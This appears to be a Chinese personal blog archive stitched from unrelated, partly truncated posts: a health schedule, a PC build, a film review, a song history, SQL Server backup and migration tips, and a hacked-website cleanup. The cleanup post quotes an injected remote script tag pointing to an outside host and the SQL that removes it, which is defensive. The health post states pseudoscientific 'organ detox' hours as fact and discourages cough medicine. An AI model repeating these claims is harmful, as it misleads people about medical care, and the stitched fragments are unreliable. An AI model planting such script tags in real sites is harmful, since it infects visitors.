已经4年多了，任劳任怨啊。

我爱小黑高，小黑高爱我。

晚上9-11点为免疫系统（淋巴）排毒时间，此段时间应安静或听音乐
晚间11-凌晨1点，肝的排毒，需在熟睡中进行。
凌晨1-3点，胆的排毒，亦同。
凌晨3-5点，肺的排毒。此即为何咳嗽的人在这段时间咳得最剧烈，
因排毒动作已走到肺；不应用止咳药，以免抑制废积物的排除。
凌晨5-7点，大肠的排毒，应上厕所排便。
早上7-9点，小肠大量吸收营养的时段，应吃早餐。
疗病者最好早吃，在6点半前，养生者在7点半前，
不吃早餐者应改变习惯，即使拖到9、10点吃都比不吃好。
半夜至凌晨4点为脊椎造血时段，必须熟睡，不宜熬夜。

附：人体24小时使用手册
1∶00 人体进入浅睡阶段，易醒。此时头脑较清楚，熬夜者想睡反而睡不着。
2∶00 绝大多数器官处于一天中工作最慢的状态，肝脏却在紧张工作，生血气为人体排毒。
3∶00 进入深度睡眠阶段，肌肉完全放松。
4∶00 “黎明前的黑暗”时刻，老年人最易发生意外。血压处于一天中最低值，糖尿病病人易出现低血糖，心脑血管

　　连续下了几天的雨，持续不间断的，把一年的都下光了，估计接下来的日子会热得够呛。前几个月，升级了单位的网站，着实充实了一把，不图名不图利的，只想折腾一下自己。有时人闲着就瞎想，加上自己兴趣爱好杂乱，没什么头绪，在网上东瞅瞅西望望，时间倒是很快就过去，而且也觉得每天时间不够用，晚上上网到12点多1点，就不知道自己在忙些什么。

　　攒了部电脑主机，可以放高清了，是成熟的AMD的780G平台。主板挑了半天，选了技嘉GA-MA780G-UD3H，价格适中，关键是接口齐全，什么HDMI、DVI、1394、光纤等都有，而且主板是全固态电容，做工和用料都杠杠的。主机弄回家，折腾了几天，使用KMPLAYER PLUS 2009播放高清，也打开了硬解，感觉还是软解舒服，画质比硬解柔滑很多，好像很多人吹的“如丝般柔顺”。以后下点1080P电影，闲暇时可以YY一下。

　　天涯论坛上经常有强人骑行西藏，传奇般的经历迷倒了N多菜驴，包括俺算一个。有时在想，咱买车不久总想着驰骋天下，可是现在又流行骑行了，俺是不是落伍了捏？赶明儿心血来潮，咱也弄辆自行车，去劳其筋骨、苦其心志。

　　韩国总统卢武铉跳悬崖自杀

今天刚去影院看，而且是满怀希望准备被感动去的，可是事实却没有。影片黑白色调，类似《辛德勒名单》。整个片子主线不明确，基本是一些残酷的影像堆砌而成，显得杂乱无章。虽然说是通过日本人角川的视野来拍，但是串起来比较牵强，特别是最后角川的自杀很突兀。陆川驾驭此片的功力有限，多学学《辛德勒名单》和《钢琴师》，那两片真是感人肺腑的，特别是《钢琴师》里主角的遭遇让人过目难忘。《南京》里血腥残忍镜头无论是否删减，但我觉得电影作品的这些镜头是为了烘托剧情，而不是单单为了展现而已。电影里的大多人物形象比较单薄，包括妓女第一个举手出来的情节，似乎都没处理好。场景也比较单调，估计这也是限制影片的地方。

说了这么多批评的地方，其实也是爱之深痛之彻，目的也是希望国内把此类电影做得更大气更发人深省些。历史不容忘记，也希望有更好的影视作品展现那段耻辱岁月，提醒我们时刻不忘亡国之痛，教育好子孙后代强国兴邦！

1、打开千千静听，添加播放文件，在所选文件上按右键，点击文件属性；

2、文件属性的设置必须如下图里的蓝色和绿色框框里的设置：

最后保存即可。

在撤退过江时，为了验证自己身份，阿译带头一起唱给对岸守军听的《知识青年从军歌》，感人肺腑。上网搜索了一下资料，知道了此歌的来历。知识青年从军歌创作于抗战末期，在1944年国民政府发起的口号为“十万青年十万军，一寸山河一寸血”的青年军运动中作为征兵歌曲被广为传唱。本歌曲词曲作者不详，因为本歌曲最早出自驻缅远征军新编第一军，据信歌词源自一名在印度蓝姆加基地训练的战士时做的诗，新一军军长孙立人将军对这首歌曲颇为赞赏。鉴于驻缅远征军的文化程度在当时国军中是最高的，笔者认为这一说法是可信的。自抗战六十周年纪念日之后，这首歌在进入公众的视线，但多被误认为新一军军歌。本歌曲歌词极富感染力，广泛应用历史典故，极富中国特色，使一名矢志精忠，投笔从戎的热血青年的形象跃然于纸上，使听者顿觉血脉贲张，既唤起听众“天下兴亡匹夫有责”的责任感，又激起了听众建功军中，光耀门楣的渴望，但是，歌曲由于主要针对知识青年，字里行间无可避免的流露出知识青年特有的浪漫主义色彩，未免有些脱离实际，但是瑕不掩瑜，这仍是一首不可多得的抗战歌曲。

　　君不见，汉终军，弱冠系虏请长缨；

　　君不见，班定远，绝域

打开SQL SERVER MANAGEMENT STUDIO，启动SQL SERVER代理服务（注意在“控制面板-管理工具-服务”中设置SQL SERVER AGENT的启动类型为自动）。启动后点击“作业-新建作业”，弹出一个作业属性的窗口，在“常规”栏目里可以先给作业命名，假设为“备份数据”。

一、备份数据的第一个步骤--“备份当日数据”

在“步骤”栏目里新建一个步骤名为“备份当日数据”，类型为“T-SQL”，数据库选择你要操作的数据库（假设为“TESTDB”），命令窗口里填入备份的SQL语句。假设备份数据放在“D:\BACKUP”里，备份文件命名格式为“SQL-2009-3-26.BAK”，那么语句如下：

DECLARE @filename VARCHAR(255)
DECLARE @date DATETIME

SELECT @date=GETDATE()
SELECT @filename = 'D:\BACKUP\SQL-'+CAST(DATEPART(yyyy,@date) as varchar)+'-'+CAST(DATEPART(mm,@date) as varchar)+'-'+CAST(DATEPART(dd,@date) as varchar)+'.bak'

BACKUP DATABASE [TESTDB] TO  DISK = @filename WITH INIT
GO

在步骤属性的高级的“成功时要执行的操作”选择“转到下一步”即可

症状：客户端访问网站一些页面时，浏览器状态栏出现类似不正常的其他网址。客户端电脑CPU占用正常，但是PF页面内存不断上升到1G以上，机器巨慢。

第一感觉就是网站被挂马了。马上去服务器查看，发现很多表的一些字段里，在内容后面被加了一段JS代码，例如“<script src=http://3b3.org/c.js></script>”。黎叔感到很生气，后果非常严重。于是先清除这些非法代码，使用SQL命令如下（也就是替换非法代码为空）：
update table set field=replace(field,'<script src=http://3b3.org/c.js></script>','')

所有表处理完以后，开始对服务器进行免疫处理了，上网四处溜达，并结合自己的领悟，进行如下处理：

1、网站中进行数据库连接，千万不要用sa用户，因为sa就是一个超级用户。我们可以另外建立一个用户，操作步骤是：打开SQL Server Management Studio，进入“安全性/登陆名”，新建立一个用户，名为test并设置访问密码；“服务器角色”什么都不赋；“用户映射”处在需要操作的数据库那里打钩，并且下面的角色成员身份处，选择public和db_owner即可；

有个程序是ASP+ACCESS写的，近几天把它升级成为ASP+SQL SERVER 2005。

其中需要注意的是：

1、数据库的直接导入到SQL SERVER 2005里，其中ACCESS里的自动增长字段类型在SQL SERVER 2005里没有，会成为普通的int类型字段，这时需要手工修改SQL SERVER 2005的字段类型，具体操作是：字段的标识规范的“是标识”改为“是”；

2、数据库导入后，有些ACCESS设置有默认值的字段，那些值会丢失，需要对应把默认值加在SQL SERVER 2005的字段里，同时注意对应地建立同样的索引；

3、一些字段名可能和SQL SERVER 2005的命名冲突，这时会自动加上[]，例如字段open会自动变为[open]，但是在ASP中使用时，依然为rs('open')；

4、ASP里设置数据库连接方式需要更改，比如连接ACCESS时，使用下面语句：

conn.Open 'Driver={Microsoft Access Driver (*.mdb)}; DBQ=' & Server.MapPath('testdb.mdb')

连接SQL SERVER 2005时，假设连接密码为123456，SQL SERVER安装电脑的IP为192.168.0.1，那么更改为：

conn.Open 'DRIVER={SQL Server};SERVER=192.168.0.1;DATABASE=

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